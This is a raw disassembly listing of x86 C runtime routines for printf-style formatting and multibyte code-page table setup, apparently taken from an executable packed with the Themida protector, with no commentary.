loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]


loc_41FCE7:				; DATA XREF: Themida_:0055F828o
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 2660834h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		jmp	near ptr 28A062Ah
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28A0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_42026D	proc near		; CODE XREF: ___:00422E7Bp
					; ___:00422ED7p ...
		cmp	dword_4DCFF4, 0
		jnz	short locret_420288
		push	0FFFFFFFDh
		call	sub_41FEA9
